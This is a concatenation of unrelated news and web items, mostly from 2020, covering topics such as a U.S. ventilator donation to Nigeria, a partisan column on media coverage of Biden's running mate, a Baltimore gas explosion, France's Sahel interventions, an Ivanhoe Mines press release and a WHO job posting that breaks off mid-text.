interest and engagement in Nigeria, even beyond the advent of COVID-19. Her Excellency has demonstrated personal concern by paying a solidarity visit to the Federal Ministry of Health, Ehanire said. Advertisements Mr Ehanire, however, called on the United States Government to lend its full weight to global efforts to find efficacious therapeutics and vaccines to neutralize the threat of COVID-19 to the global community and to guarantee fair allocation to all countries and people. The speed and ease with which COVID-19 has spread across the globe clearly show that it is a threat to mankind. Without the full collaboration of all nations, the threat of COVID to any one part of the world is a threat to all, Ehanire also said. We appreciate that this gift comes against the backdrop that the United States is also fighting its own fierce battle against the COVID-19 plague. We wish them the very best in this challenge, Mr Ehanire said. Mr Ehanire further said the nation witnessed the severity of the impact of COVID-19 outbreak on health systems, economy and social structure of all nations, especially on low and lower-middle-income countries of the world. Also speaking, the Director-General of the NCDC, Chikwe Ihekweazu, said the more the ventilators, the more chances for people to survive COVID-19. Mr Ihekweazu, who was represented by the Agencys Director of Lab Services, Nwando Mba, said the additional ventilators will support Nigerias response to not just COVID-19 but also intensive care. READ ALSO: The NCDC D-G said most of the COVID-19 related deaths were as a result of respiratory complications as he reiterates the benefits of the additional ventilators. Mr Ihekwazu also appreciated the U.S government for its many support and the donation of ventilators. Last April, the Nigerian government went on social media to, in a now-deleted tweet, beg the founder of Tesla Inc, Elon Musk for ventilators. (NAN) A group called We Have Her Back has sent a remarkable memo to News Division Heads, Editors in Chiefs, Bureau Chiefs, Political Directors, Editors, Producers, Reporters, and Anchors. In the memo, the authors tell the media leaders how to cover the female whom Joe Biden will select as his running mate. They even graciously offer to provide the mainstream media with guidance as the campaign progresses. And they warn that they will be watching you. After the obligatory pablum about George Floyd and inequality, the authors provide a partial list of things they are forbidding: Reporting on a womans ambition as though the very nature of seeking political office, or any higher job for that matter is not a mission of ambition Relationships with partners, staff, colleagues and donors are characterized differently if the woman is not seen as subservient or supportive Reporting on whether a woman is liked (a subjective metric at best) as though it is news when the likeability of men is never considered a legitimate news story. Reporting, even as asides in a story, on a womans looks, weight, tone of voice, attractiveness and hair is sexist news coverage unless the same analysis is applied to every candidate Reporting on questions of electability of women is, in itself, a perpetuation of a stereotype about the ability of women to lead Reporting on doubts women may not be qualified leaders even when they have experience equal to or exceeding male leaders Reporting on the heritage of Black women or women of color perpetuates a misunderstanding about who is legitimately American Reporting on and using pictures of a womans, particularly black women, show of anger at injustice or any other kind of passion in communication perpetuates racist tropes that suggest unfairly that women are too emotional or irrational in their leadership or worse hate America What, specifically, is off the table? Would it be out-of-bounds to point out that Kamala Harris rise in politics began with jobs she got with the help of a powerful, married male politician with whom she was having an affair? Would it be out-of-bounds to note that Rep. Karen Bass was a fan of Communist dictator Fidel Castro and delivered a eulogy for Communist Party president Oneil Marion Cannon, whom she described a mentor? Would it be okay to observe that Keisha Lance Bottoms experience in public life consists only of eight years on the Atlanta city council and less than three years as Atlantas mayor? How about pointing to Susan Rices history of poor foreign policy judgments and her willingness to lie on behalf of her powerful patrons? The memo from assorted Democratic operatives is a response to an obvious problem Joe Biden faces. He has decided to discriminate on the basis of gender, and possibly race, in selecting his vice presidential candidate. Having artificially restricted the pool, he is choosing from a fairly undistinguished lot. To make things dicier, the public knows there is a good chance that, if Biden is elected, his running mate will become president before there is another presidential election. How to get around this problem? Try to silence the media. In other words, the back these feminists have is really Joe Bidens. Will they be able to induce media silence about Bidens running mate? Thats probably the wrong question. The right questions are (1) whether the mainstream media needs to be induced and (2) whether the mainstream media has the power to control the narrative over Bidens running mate. Lets conclude by noting the obvious hypocrisy of the We Have Her Back group. As Karen Townsend says: It is as though these liberal women expect conservatives to forget how Sarah Palin was treated. Democrats said she was uneducated, ignorant, possibly having a child that wasnt her husbands, a hick from Alaska, she wore the wrong clothes, she didnt speak well, they mocked her religion, and so on. It was hideous. Townsend also reminds us that in 2012, one of the authors, the far-left feminist Hillary Rosen, attacked Ann Romney for having never worked a day in her life. Ann Romney wasnt running for any office. The feminism of women like the authors of this memo is little more than a tool to promote Democrats and other left-liberals. We saw this with the allegations that Joe Biden sexually harassed a female staff member, and we see it with We Have Her Back. While more than 300 Massachusetts communities are at or below targets for new COVID-19 case numbers, public health officials on Tuesday released a color-coded map highlighting community-by-community at-risk levels as Gov. Charlie Baker expressed heightened urgency to wear masks after some areas have seen spikes following large gatherings and parties. Update: 11 Massachusetts communities were put into an extremely high-risk category on a map the state released this week tracking coronavirus cases and transmission rates across the commonwealth. Thirty-three communities report more than four coronavirus cases per 100,000 people, a threshold used by national and global public health officials to establish risk. Each of these communities, Baker said in a news conference Tuesday, will require specific strategies to attack COVID-19 there, to work with them to stop the spread. Working with our colleagues in local government is our key strategy. Baker said the he and Lt. Gov. Karyn Polito had reached out to all of the higher-risk communities to ascertain how best to partner with them to combat the virus. The state will provide additional resources for testing, contact tracing and isolation as needed in the nearly three dozen communities, assist local governments improve messaging and communication strategies to alert businesses and residents of coronavirus risks and ramp up enforcement with help from the multi-agency COVID Enforcement and Intervention Team, including state police. The vast majority of communities in Massachusetts are experiencing low COVID case numbers, Baker noted, citing 318 with low numbers of new cases. A new streetlight-colored map released by state officials Tuesday highlights four extremely high risk red communities with more than 8 cases per 100,000: Chelsea, Everett, Lynn and Revere. Yellow or moderate-risk communities report between 4 and 8 cases per 100,000; half of these communities show positive trends, Baker said. Three Central Massachusetts communities were categorized as yellow: Worcester, Auburn and Charlton. In Western Massachusetts, seven communities were deemed yellow: Belchertown, Chicopee, Granby, Holyoke, Longmeadow, Northampton and Springfield. Green areas report less than four cases per 100,000. The list will be updated weekly and shared with the public on Wednesdays. Regardless of where your community sits, COVID is not going away, Baker said. Your actions, no matter where you live or where you work, will determine in many respects whether and how this virus spreads. Baker said he could not emphasize enough the importance of wearing a mask or face covering in public settings and gatherings. He said in conversations with community leaders seeing spikes in new cases, large gatherings, parties and the lack of face coverings were a recurring theme. The state recently limited outdoor gatherings to 50 people from an earlier order of 100, while indoor gatherings limit will remain at 25 people. Baker and Marylou Sudders, Massachusetts secretary of Health and Human Services, said asymptomatic spread continues. In instances when there are more than 10 people in your home or backyard, especially if they are not immediate family or fellow residents, officials urge everyone to wear a mask. On enforcement, Baker said the state would assist local government and law enforcement when necessary, particularly on messaging whether through online, flyers or signage for residents and businesses. The messaging thing is a really big deal, he said. The goal is to get people to play by the rules. Nobodys looking to arrest people and write citations, unless people literally refuse to play by the rules of the orders. France Investigates Killings of French, Nigerien Workers in Niger By Madeline Hart August 10, 2020 French and Nigerien soldiers searched through a giraffe reserve and its surrounding area in Niger's Koure region on Monday for the killers of six French aid workers. The gunmen, who arrived on motorcycles, also killed the workers' guide and driver, bringing the death toll to eight. The aid workers were attacked Sunday as they drove through the giraffe reserve, a popular tourist spot for expatriates living in Niamey, the capital of Niger, located about 50 kilometers from Koure. "This heinous crime must not go unpunished, nor will it distract us from our commitment to support the people of Niger," ACTED, the non-governmental organization that employed the aid workers, said in a statement. ACTED director and co-founder Marie-Pierre Caley said in a statement that the group followed security protocol by reporting their arrival at the reserve after departing from Niamey on Sunday. Internal army memos seen by Reuters appear to show the attack occurring less than an hour after their arrival. According to ACTED, four men and four women, all between the ages of 25 and 50, died during the attack. The region was not viewed as unsafe prior to the attack. "Until yesterday, the area had not known any security incident," said ACTED development director Frederic Roussel. French Aid Workers Killed in Ambush in Niger Gunmen on motorcycles killed six French aid workers, a Nigerien guide and a driver on Sunday. Niger's Defense Minister said the group was attacked in a giraffe reserve 65 km from the West African country's capital Niamey. The Association of Koure Giraffe Reserve Guides issued a statement saying the dead included its president, Kadri Abdou. France's TF1 TV channel broadcast images it said were taken from the scene showing the burnt-out remains of a 4x4 vehicle with bullet holes in the side. No group has claimed responsibility for the attack, although militant violence by terrorist organizations such as Boko Haram has been on the rise in Niger. France's office of anti-terrorism has launched an investigation. French President Emmanuel Macron tweeted, "Our determination to combat armed terrorist groups is resolute. The fight continues." NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address BALTIMORE - A huge explosion rocked a Baltimore neighborhood like an earthquake Monday, killing one person, sending seven others to the hospital and making a rubble pile of three rowhouses, with rescue workers searching the ruins in smothering heat throughout the day for any additional victims. Authorities said they were investigating whether a natural gas problem led to the disaster. "I thought we were under attack or in a war," William Ewell, 32, said after the explosion leveled part of his Northwest Baltimore residential block and caused other damage, including shattered windows and bent utility poles, in a radius around the blast site. Leon Phillips, 64, said he thought he smelled natural gas coming from air vents Monday as he was leaving his home about 6 a.m., headed to work as a delivery driver. His best friend was still asleep in the house. Several hours later, Phillips said, he started getting calls from neighbors who feared he had been hurt or killed in the blast. "Leon, you better get down here," he recalled one acquaintance telling him. "Your house got blown up." He said he thinks his friend was hospitalized. The identity of the dead person, a woman, was not immediately made public. Officials said that seven other people, also unidentified, were hospitalized with serious injuries, and that numerous residents were left homeless in the blast. Earlier in the morning, the Baltimore City Fire Department said it was searching for at least one person under the sprawling mound of rubble. But later in the afternoon, fire officials did not detail how many others they might be searching for or the ages of those targeted in the "rescue mission." "We don't know if we have other victims under the rubble at this point," said Fire Commander Roman Clark as the search continued, in temperatures exceeding 90 degrees, with high humidity. "Our fire and rescuers are doing everything by hand." Crews picked through thickets of splintered wood and piles of jumbled bricks and cinder blocks, with shards of glass and additional hazards all around. At one location, a dozen firefighters continued to dig through a towering mound of broken bricks and wood. One hung his heavy jacket on the splintered edge of a house and went back to laboring in the heat. Linda Foy, a spokeswoman for Baltimore Gas and Electric, said the cause of the explosion had not been determined. She said late in the afternoon that workers were shutting down gas service on surrounding streets before they begin trying to determine whether a gas problem caused the explosion. After hearing from his neighbors, Phillips rushed back to see that his home had been reduced to debris. Standing behind yellow caution tape, cellphone in hand, he was trying to reach his best friend. He said he could not reach his friend or a pregnant woman who lived in the basement with her daughter and a man. Moments after the explosion, which was reported before 10 a.m., neighbors poured from their homes and climbed the rubble pile, digging frantically for survivors in the wreckage. Albert Senwah, 21, ran in sweatpants and sandals toward the smell of gas and the sound of people yelling. Stunned by destruction, he started throwing aside chunks of debris, digging toward the sound of a woman's voice. After running home to put on boots, Senwah said, he spent 45 minutes working alongside first responders. He said the first two people he saw pulled from the rubble were middle-age or older men. One was bleeding from his head, and the other appeared to have severe burns on his body and a broken ankle. Senwah said he also saw rescuers pull out a woman whose clothes were tattered. She was covered in dust and had cuts on her legs. He said he also heard at least one child crying. "This definitely won't be forgotten," he said. Maryland Gov. Larry Hogan, a Republican, said in a tweet that his office is "closely monitoring the situation" after the "horrific explosion." "We have reached out to offer our full support to the ongoing response and recovery efforts, and are deeply grateful to the first responders on the scene," Hogan said. Baltimore Mayor Jack Young, a Democrat, stood with first responders and eyewitnesses Monday afternoon. "All I want to do is offer my prayers," he said. As rescue operations stretched into Monday afternoon, neighbors sat in their front yards as people walking past offered to help them board up broken windows. Caution tape was pulled across the entrances to the backyards directly behind the blast site. Pieces of clothing hung from tree limbs, and the smell of natural gas was in the air. Phillips's grandchildren, who had come to visit him Sunday night, sat on porch steps nearby, frightened and confused. "Everybody was calling me trying to make sure I'm all right since my kids were there last night," said Auriell McFadden, Phillips's daughter-in-law. She said she thought her father-in-law was dead. "He didn't answer the phone," she said. "He scared me." "I scared you?" Phillips responded. His missing housemate was McFadden's uncle. She was desperately trying to find out what happened to him. They later learned that he was in intensive care at a hospital. Meanwhile, Phillips was grappling with what he had lost inside his home: a month's worth of rent money that he had stashed beneath his mattress and, more important, photos of his grandsons. City Council member Isaac Schleifer was at the scene within moments of the explosion. He ran from his house nearby, where he was eating cereal with his daughters. He arrived to find people covered in blood, with neighbors trying to apply bandages amid the ruin. "It is a horrific tragedy," Schleifer said. "Horrific." Schleifer spent hours knocking on doors near the explosion, telling occupants through shattered windows that the city would make sure they had a place to sleep Monday night. "The pandemic adds another layer of challenges, but we will make sure it happens," he said, adding the city is working with the Red Cross. The windows blew out of houses as far as two blocks from the blast site. Ambulances and firetrucks jammed the street. Utility workers checked gas lines. Rivulets of water from fire hoses flowed to the gutters, over the cables laid by a dozen new crews. Up and down Labyrinth, neighbors stood on their porches in the sweltering heat. Others sat on plastic chairs on their lawns. Michelle Melendez, 28, was asleep after working the night shift when the explosion just behind her house showered her with glass. She opened her eyes to see the frames of the double window at the foot of her bed had been blown in. One frame was lying precariously atop her air conditioner. Her teal curtains were on the floor. Shards of glass were on her sheets, on her dresser among bottles of perfume and in a laundry basket. She screamed for her 9-year-old daughter and 6-year-old son, whose rooms were on the other side of the house, away from the blast. Her husband, who had just arrived home, rushed to their rooms to find them shaken but OK. "I didn't know what to think," she recalled. "I thought it was the end of the world." - - - The Washington Post's Paul Duggan and Ovetta Wiggins contributed to this report. Rebel Congress leader Sachin Pilot on Monday met Rahul Gandhi and Priyanka Gandhi in a fresh attempt to untangle the crisis that has pushed the Ashok Gehlot-led government to the brink in Rajasthan. Sources said three developments in quick succession brought Pilot back to the discussion table, a month after he revolted against the Congress government along with 18 MLAs in his camp. The Congress high command has also given assurances that it would not take any action against Pilot or the MLAs who supported him in his rebellion, despite the repeated demands from MLAs who support Gehlot. The CM, too, had indicated on Sunday that he could be agreeable to the rapprochement effort, signalling during the Congress Legislature Party meeting that he would adhere to whatever decision is taken by the partys central leadership. This comes after almost a month-long political drama that ensued in Rajasthan after Sachin Pilot's removal. In July, The Congress removed Pilot from the posts two days after he openly revolted against the Ashok Gehlot-led government in the state. Minutes after being sacked from the posts of Rajasthan's deputy chief minister and the party's state unit chief, Sachin Pilot said that the truth can be disturbed, but not defeated. Speculations of Pilot jumping ship and joining the BJP grew after the politician removed Congress from his Twitter bio. Back then, Pilot removed the Rajasthan Deputy Chief Minister post, as well as State Congress unit chief from his Twitter bio. READ: Sachin Pilot Removes Congress From Twitter Bio, Says 'Truth Can't Be Defeated' Despite rumours, Pilot assured that it was just that - false rumours, and that he had no intention to join the BJP, a party he had vehemently opposed and fought earlier on. Follow Sachin Pilot's reconciliation with the Congress, memes flooded social media. While some poked fun at the ongoing feud between Gehlot and Pilot, others seemed a tad disappointed that the drama finally came to an end. For some, this was reminiscent of the Maharashtra political crisis in December last year; with countless twists and unexpected turns, the political drama surrounding current Deputy CM Ajit Pawar was nothing less than a desi version of Game of Thrones. For a recap, click here. Like a Twitter user pointed out, Pilot may have just "pulled an Ajit Pawar" by going back to the Congress. Sachin Pilot leaving Congress pic.twitter.com/0WMDoyBlXB Sagar (@sagarcasm) August 11, 2020 So #SachinPilot pulled a #AjitPawar I bet it had something to do with #SharadPawar recent visit to Delhi Ibu Hatela (@Esmilebhai) August 11, 2020 Sachin Pilot has disappointed so many news anchors today. Bad boy. Ajay Kamath (@ajay43) August 10, 2020 Me after knowing the drama ended without any climax of court scene..!! #SachinPilot pic.twitter.com/yqpNL7w7iZ Maaru Chokro (@vampy_vc) August 11, 2020 Rahul sachin meeting Rahul : how was your days ?#SachinPilot pic.twitter.com/TqPWOBhlTu () (@Brahman_Era) August 11, 2020 Sachin pilot and Sachin pilot and Ashok gehlot in Ashok gehlot in Front of media Reality#SachinPilot pic.twitter.com/Px9QxUriWQ Abhishek Maheshwari (@be_mewadi) August 11, 2020 Following news of the reconciliation, Sachin Pilot on Monday night said he has never hankered after posts and his was a fight for principles. He also welcomed the creation of a three-member panel by the All India Congress Committee (AICC) to address the issues raised by him as the protracted political crisis engulfing the party in Rajasthan drew closer to an end. They left for Canberra during the afternoon. The Acting Prime Minister (Dr Page), the Premier (Mr Stevens), Federal and State Ministers and their wives, and the representative in Australia of the British Government (Mr E. T. Crutchley) met the Mariposa in the harbour and welcomed Mr and Mrs Lyons before they came ashore. The Prime Minister (Mr. Lyons) and Mrs Lyons, after an absence of six months returned to Sydney yesterday by the Mariposa and were accorded an enthusiastic welcome. "I cannot emphasise too strongly," said Mr Lyons, "the value to Australia of overseas visits by commercial, industrial, and political leaders, and I make no apology for saying I should like to see more of them. Australian business concerns are realising this more and more. "Australia is so far from other great centres of thought that, if she is to keep abreast of modern progress, if she is to maintain her place in the vanguard of civilisation, her leaders must keep in personal touch with modern movements abroad. We must avoid becoming insular. "Similarly I should like to see more representative leaders from abroad visiting Australia because, although we can learn much from other countries, there are many things they can learn from us. The S.S. Mariposa pictured in Sydney Harbour, circa 1935. Credit:Staff photographer "Perhaps what I have learned more than anything else is that Australia is the best country in which to live, and my wife and I have often longed to be home again. In few countries have we seen such splendid living conditions. In few have we experienced such healthy climates. In few have we seen such potentialities for development." As protests continue to erupt in the streets of Kenosha, Wisconsin, and across the world in outrage against the horrific shooting of Jacob Bla Read more Tony Chafer, University of Portsmouth and Gordon D. Cumming, Cardiff University France is presenting its current involvement in the Sahel as a new, and more multilateral, form of intervention. But is it? Does it mark a clean break with Frances early postcolonial past, characterised by unilateral intervention practices? Or does it, thanks to a process called layering, superimpose and meld together old unilateral intervention practices with the newer multilateral approach? In looking for answers to these questions, we are reminded of the quotation by management consultant Peter Drucker, namely that If you want to do something new, you have to stop doing something old. This observation seems to be the key to understanding the novelty or otherwise of Frances actions in the Sahel. Thus, before searching for the new, we need to look back and identify the old. France of old France traditionally sees itself as the self-appointed gendarme of Africa. It has intervened militarily on the continent at least 30 times over the early postcolonial decades. This was possible thanks to its pre-positioned troops based in Africa and French readiness to intervene. Bilateral military and defence agreements signed with a number of former French colonies in Africa after independence provided the legal basis for intervention. Until the 1990s, French military interventions were mostly unilateral and accompanied by the practice of self-legitimation. In other words, interventions were conducted according to French interpretations of security. They aimed to defend imperilled African heads of state at the discretion of the French president against any threat to the regime. The rules of engagement and levels of force deployed were determined by France without reference to external legitimating authorities. France alone decided on the remit of its operations, which almost always took place within the borders of sovereign African states. The end of the Cold War and Frances role in Rwanda marked a major turning point for French military policy in Africa. Paris, as the key international supporter of the Juvenal Habyarimana regime that was responsible for the 1994 Rwandan genocide, was widely criticised for its role in the run-up to the genocide, during which up to a million Rwandans, mainly Tutsis, were slaughtered by the Hutu majority. It was also criticised for Operation Turquoise in the immediate aftermath of the genocide. Many critics believed that this humanitarian operation was less about saving lives than providing those who had been involved in the genocide with an escape route into eastern Zaire. As a result, France shifted from a policy of unilateral intervention to a multilateral approach. Partly this was because of the need to share the political risks of intervention following international criticism of the militarys role in Rwanda. But it was also partly driven by resource considerations. France no longer had either the money or the personnel to sustain its old unilateral approach and so needed to share the burden. New interventionism Twenty years later, how real is multilateral Frances new interventionism? To be sure there has been a shift away from self-legitimation. France has come to accept that interventions need to be mandated by international bodies such as the UN Security Council. And that ideally there should also be approval from regional bodies such as the European Union or the Economic Community of West African States. It has also come to accept rules set by bodies such as the UN Security Council and by troop contributing countries on a range of fronts. These include the conduct of missions, length of operations and use of violence. Yet older style unilateral interventionism has never been too far from the surface. One example was French actions in Cote dIvoire between 1999 and 2011. And today France is unquestionably the pivotal actor within the assemblage of external interveners in the Sahel. Its Operation Barkhane involves the deployment of over 5,000 troops to fight terrorism in five francophone countries of the western Sahel Mauritania, Mali, Burkina Faso, Niger and Chad and in the Lake Chad Basin. The new elements are the efforts to obtain international approval, the cross-regional approach and the coalition-building focus. Within this coalition each player has adopted a primary role. Frances Operation Barkhane focuses on active and potentially lethal, on-the-ground counterterrorism operations. For its part, the United Nations Multidimensional Integrated Stabilisation Mission in Mali supports political processes and reconciliation. And the European Union Training Mission Mali and the European Union Capacity Building Mission Sahel Mali focus on training the Malian army and reform of the countrys security sector. Finally, the G5 Sahel joint force, actively promoted and supported by France, undertakes counterterrorism operations in cooperation with French forces. Frances new approach continues to attract support. But one can raise questions over the extent to which its efforts in the Sahel can genuinely be considered multilateral. Interventions have not always received prior authorisation by the UN. Also, France has played a dominant role as the lead nation, thanks to its influential position within or in relation to all the various bodies involved. There remain question marks, therefore, surrounding the extent of the newness of the French interventions in the Sahel. Although the new interventionism contains elements of multilateralism, it also involves practices that hark back to the old, pre-Rwanda unilateralism. Perhaps the clearest example of the resurgence of such old-style neocolonial practices was Barkhanes bombardment, in February 2019, of Chadian forces opposed to President Debys regime. The rebels were advancing on the capital NDjamena with the aim of overthrowing the regime of Frances old ally Idriss Deby. In the end, it was perhaps never realistic to assume that France would fully embrace the tenets of the new interventionism. Even the threat of US withdrawal, the relentless attacks by jihadist extremists and the onslaught of COVID-19 might not be enough to make France anything more than a reluctant multilateralist. Tony Chafer, Professor of African and French Studies, University of Portsmouth and Gordon D. Cumming, Professor of Foreign and Development Policies, Cardiff University This article is republished from The Conversation under a Creative Commons license. Read the original article. The conversation Johannesburg, South Africa--(Newsfile Corp. - August 11, 2020) - Ivanhoe Mines (TSX: IVN) (OTCQX: IVPAF) Co-Chairs Robert Friedland and Yufeng "Miles" Sun are very pleased to announce the appointment of two distinguished female business leaders - Nunu Ntshingila and Martie Janse van Rensburg - to the Ivanhoe Mines board as independent directors. Ms. Ntshingila is Regional Director, Facebook Africa, and Ms. Janse van Rensburg is a Chartered Accountant who worked for South Africa's Trans Caledon Tunnel Authority from 1994 to 2008; initially as its Chief Financial Officer and then advancing to become its Chief Executive Officer. Ms. Ntshingila and Ms. Janse van Rensburg each have more than 25 years' business experience with African-based companies. Ms. Ntshingila's expertise is in marketing and advertising, while Ms. Janse van Rensburg has particular proficiency in accounting, capital markets, project finance and infrastructure development. "We're delighted to have Nunu and Martie join us as we complete our transition from explorer, to developer, to a leading, diversified resource company committed to modern, responsible mining," said Mr. Friedland. "I'm very much looking forward to working with such accomplished business leaders." "We are proud of the growing team of talented South African and Congolese women at all levels of our company. They have embraced our goal of environmental, health and safety excellence; and, through their efforts, are helping us to build what will be three of the world's best mines in Southern Africa's legendary mineral fields," he continued. "Nunu and Martie's unique African experience and insights will add tremendous value at Ivanhoe, where we continue our strategic effort to empower a new generation of highly-skilled women," Mr. Friedland added. Mr. Friedland and Mr. Sun noted that the two appointments were in keeping with the company's objective to have its board comprised of a majority of independent directors and to increase its female representation at the board level. Story continues About Nunu Ntshingila Nunu Ntshingila To view an enhanced version of Nunu Ntshingila, please visit: https://media.zenfs.com/en-us/newsfile_64/8a2a9a277658b2823a163e1dc695e7cb Ms. Ntshingila joined Facebook Africa in September 2015. Based in Johannesburg, she is responsible for building Facebook's commercial presence across the entire African continent. Before joining Facebook Africa, Ms. Ntshingila spent almost 16 years with Ogilvy & Mather South Africa in increasingly senior positions; becoming company Chair in 2012. During her tenure with Ogilvy, she oversaw the agency's evolution into a diversified communications group delivering integrated, effective and award-winning work for many of South Africa's biggest and most well-recognized brands, including: DStv, SABMiller, KFC, Cadbury, BP, Volkswagen and Coca-Cola. Prior to joining Ogilvy & Mather South Africa, Ms. Ntshingila worked as Director of Communications for Nike South Africa for three years. She also has served as a council member of the Women's World Banking Council, whose mission is to drive financial inclusion for women in Africa. Ms. Ntshingila holds an undergraduate degree from University of Swaziland and a MBA degree from Morgan State University, Baltimore, Maryland. She has received numerous awards during her 30-year career, including a Lifetime Achievement Award from the Financial Mail and an AdReview Lifetime Award. In 2016, Ms. Ntshingila became the first woman inducted into the Loeries Creative Hall of Fame, in recognition for her outstanding achievements in inspiring and fostering creativity. In 2018, she received the BET Butterfly Award for Passion, Purpose and Persistence. She also was named by Fortune Magazine as one of the Top 50 Most Powerful Women - International List in 2018 and 2019. She has served as a director on the boards of Old Mutual, Transnet, Ogilvy Global and Cape Town's Victoria & Alfred Waterfront Group. While on these boards, Ms. Ntshingila served on and led board committees, including Investment, Remuneration, Social & Ethics and Audit. About Martie Janse van Rensburg Martie Janse van Rensburg To view an enhanced version of Martie Janse van Rensburg, please visit: https://orders.newsfilecorp.com/files/3396/61448_0ab3953d64dbdac7_003full.jpg Martie J Janse van Rensburg is a Chartered Accountant based in Johannesburg, South Africa. She has more than 25 years' experience in senior-level executive positions and as a director with a number of leading South African companies, with a particular focus on capital markets, project finance and infrastructure development. She has worked on infrastructure projects in many of the Southern African Development Community (SADC) countries, including Botswana, Lesotho, Mozambique, Namibia and Swaziland. Since 2008, Ms. Janse van Rensburg has worked as an independent consultant to government, banks, and companies with respect to governance, water, financial, funding and institutional arrangements and transformation. She last served as a consultant to ASISA (Association for Savings and Investment South Africa) to promote investment in water infrastructure from 2016 to 2019. Previous to this, Ms. Janse van Rensburg worked for Trans Caledon Tunnel Authority, a South African state-owned entity charged with financing and implementing mega bulk raw water infrastructure projects, from 1994 - 2008; initially as its Chief Financial Officer until1998 and then as its Chief Executive Officer from 1998 to 2008. Prior to joining Trans Caledon, she worked as a consultant for Deloitte (1992-1994), with a focus on business re-engineering. After completing her articles as chartered accountant she lectured at the University of South Africa on a post-graduate level in Applied Auditing and Applied Taxation (October 1988 to December 1991). In addition to her executive management positions, Ms. Janse van Rensburg has more than 21 years' experience as an executive and non-executive director, serving in organizations that required strategic redirection and governance alignment in the public and private sectors. Ms. Janse van Rensburg currently serves as a non-executive director on the boards of Sephaku Holdings Ltd., Etion Ltd., Development Bank of Southern Africa; and Independent Regulatory Board for Auditors. She previously served on the boards of Denel Soc.; Johannesburg Water (Pty) Limited; Headstream Water Holdings (Pty) Ltd.; NMI Group of Companies and Trust; Airports Company of SA Soc.; Bond Exchange of South Africa; and AH Vest Limited. While on these boards, Ms. Janse van Rensburg served and led various board committees, including Audit, Risk, Treasury and Regulatory committees; and chaired Johannesburg Water, Denel and subsidiaries in the NMI Group. She also serves as a non-executive member of the Credit Investment Committee of Ashburton (since October 2016) and International and Specialised Finance Wholesale Credit Committee of First Rand Bank Ltd (since April 2011). Ms. Janse van Rensburg was a recipient of South Africa's inaugural Woman in Water Award in 2002, and was nominated for BWA Business Woman of the year in 2006. Ms. Janse van Rensburg is a member of the Institute of Chartered Accountants (South Africa) and the Institute of Directors. She holds a Bachelor of Commerce degree and a Bachelor Honours of Commerce degree and a Certificate in the Theory of Accounting (CTA). She qualified as a Chartered Accountant in 1987. About Ivanhoe Mines Ivanhoe Mines is a Canadian mining company focused on advancing its three principal joint-venture projects in Southern Africa: the development of major new, mechanized, underground mines at the Kamoa-Kakula discoveries in the Democratic Republic of Congo (DRC) and at the Platreef palladium-platinum-nickel-copper-rhodium-gold discovery in South Africa; and the extensive redevelopment and upgrading of the historic Kipushi zinc-copper-germanium-silver mine, also in the DRC. Kamoa-Kakula and Kipushi will be powered by clean, renewable hydroelectricity and will be among the world's lowest greenhouse gas emitters per unit of metal produced. Ivanhoe also is exploring for new copper discoveries on its wholly-owned Western Foreland exploration licences in the DRC, near the Kamoa-Kakula Project. Information contacts Investors Bill Trenaman +1.604.331.9834 Media Matthew Keevil +1.604. 558.1034 To view the source version of this press release, please visit https://www.newsfilecorp.com/release/61448 The Army has apprehended three suspected militants during a search operation in district of Jammu and Kashmir, officials said on Tuesday. A joint search operation was launched by the security forces on the inputs of Police in Lalpora area of on Monday, an army official said. He said three suspects were apprehended and some arms and ammunition recovered during the operation. "One AK assault rifle, two pistols and some ammunition were recovered," the official said, adding the operation is in progress. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Technical Officer (Risk Communication & Community Engagement), Belgrade, Serbia Organization: World Health Organization (WHO) Country: Serbia City: Belgrade, Serbia Office: WHO in Belgrade, Serbia Grade: P-3 Closing date: Thursday, 20 August 2020 Technical Officer (Risk Communication&Community Engagement) (Multiple Locations) ( 2003179 ) Grade : P3 Contractual Arrangement : Temporary appointment under Staff Rule 420.4 Contract Duration (Years, Months, Days) : 6 months Job Posting: Aug 6, 2020, 1:48:33 PM OBJECTIVES OF THE PROGRAMME The mission of WHOs Health EmDo you have Experience in an international environment, WHO or in the UN? ergencies Programme (The Programme) is to help countries, and to coordinate international action, to prevent, prepare for, detect, rapidly respond to, and recover from outbreaks and emergencies. DESCRIPTION OF DUTIES In the context of the WHO Health Emergencies Incident Management System (IMS), at the country level, the incumbent will act as the focal point for risk communication and community engagement (RCCE); ensuring that RCCE principles and practices are integrated into and implemented in all phases of the incident management cycle, that high quality RCCE products are developed and disseminated proactively and that peoples fears, concerns, misinformation and false rumours are proactively tracked and addressed. Please describe the key duties: During deployment, the duty station may change, and duties may be modified, based upon the technical needs of the Programme. Act as focal point in the IM system during outbreaks and emergencies: --> In close collaboration with the RO Pilar Lead, support the development, and implementation of RCCE plan for the country office/s, as part of the health response operations. -> With key stakeholders in the national authorities, UN agencies, nongovernmental organizations and civil society organizations, identify the top hazards for the country and develop relevant information, education and communication materials in languages and formats easily used by national stakeholders and the public. -> Liaise closely with regional counterparts for RCCE ensuring coherence of strategy, materials and messages. Ensure that technical material produced by the country office/s integrates RCCE principles and practice. -> Monitor and proactively counter false rumours and misinformation; and address fears and concerns. -> Coordinate knowledge, attitude and practice (KAP) surveys, focus group discussions and other feedback from community engagement activities and integrate findings into RCCE activities and products. -> Proactively brief journalists and broadcasters. -> Ensure quality control for RCCE products such as public information; brochures, leaflets and posters; radio and TV scripts; guides for stakeholders for RCCE and ensure their translation into local language and their adaptation for the local context. -> Report regularly in RCCE activities and issues to the IM, respective RO and HQ counterparts. -> Contribute to resource mobilization and donor communication in the area of RCCE. Develop and maintain standing risk communication capacity in the WHO Country Office: --> With internal and expert input and working in line with global and regional frameworks and strategies, develop a multi-hazard risk communication plan for the country office. -> Map and engage RCCE stakeholders; establish and sustain coordination mechanisms for emergency RCCE. -> Map preferred channels of communication in the country with focus on vulnerable groups. -> Organize risk communication trainings for WHO country staff. -> Brief, guide and coordinate risk community surge capacity personnel that may be deployed in response to emergency operations. Support national capacity building for emergency risk communication: --> Work with resources from the global and regional levels to train and prepare country-level counterparts for emergency RCCE. -> Support national authorities to convene stakeholders and co-develop the national RCCE strategy and plan. -> With HQ and RO support, underpin the national assessment of RCCE capacity and/or oversee the running of simulation exercises to test and improve the national capacity. -> Support national authorities to conduct lessons learnt exercises to further strengthen emergency RCCE. Perform any other related incident-specific duties, as required by the functional supervisor. REQUIRED QUALIFICATIONS Education Essential: Bachelor level university degree in social sciences, behavioural sciences, development sciences, communications, humanities or related fields from an accredited/recognized institute. Desirable: Master level in any of the above. Training in public health, health education, health communication, or health promotion Experience Essential: At least 